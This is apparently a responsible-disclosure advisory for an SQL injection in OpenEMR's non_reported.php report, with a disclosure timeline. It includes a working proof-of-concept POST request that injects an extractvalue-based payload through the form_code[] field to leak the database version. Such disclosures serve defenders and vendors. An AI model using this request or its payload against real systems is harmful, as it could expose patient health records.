Product: OpenEMR 6.0.0-dev, OpenEMR 5.0.2(5)
Vulnerability: SQL injection
Discovered: Kutlymurat Mambetniyazov (@manfromkz)
Acknowledgements: NitroTeam.kz
Date: 11/24/2020
Description: Ineffective use of add_escape_custom() in interface/reports/non_reported.php leads to SQL injection.
Requirements: the administrator account
Tested on: Windows 10, Apache 2.4, 10.3.22-MariaDB. PHP 7.1.33 for OpenEMR 5.0.2(5) and PHP 7.4 for OpenEMR 6.0.0-dev
Vulnerable code: interface/reports/non_reported.php:85
$query_codes .= add_escape_custom($code) . ",";Steps to reproduce:
Send the POST request (replace with your Host, valid csrf_token_form and OpenEMR cookie of administrator):
POST /interface/reports/non_reported.php HTTP/1.1
Host: openemr60.kz
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
Origin: https://openemr60.kz
Connection: close
Cookie: OpenEMR=FolYY6Y6%2CNwDDANwci5GfRdQXosr2ZkZ76e7PNHPJGTTc-eD;
csrf_token_form=639ee383724ab4de7bd56e47a454ea96cadeb6de&form_refresh=true&form_get_hl7=false&form_from_date=2020-11-16&form_to_date=2020-11-23&form_code%5B%5D=extractvalue(0x0a,concat(0x0a,(version())))
Screenshot for 6.0.0-dev:
Screenshot for 5.0.2(5):
Timeline of the vulnerability:
11/24/2020 – vulnerability discover
11/24/2020 – notification to vendor
11/25/2020 – confirmation by vendor
11/27/2020 – reservation of CVE ID at MITRE
01/07/2021 – patch release
02/15/2021 – published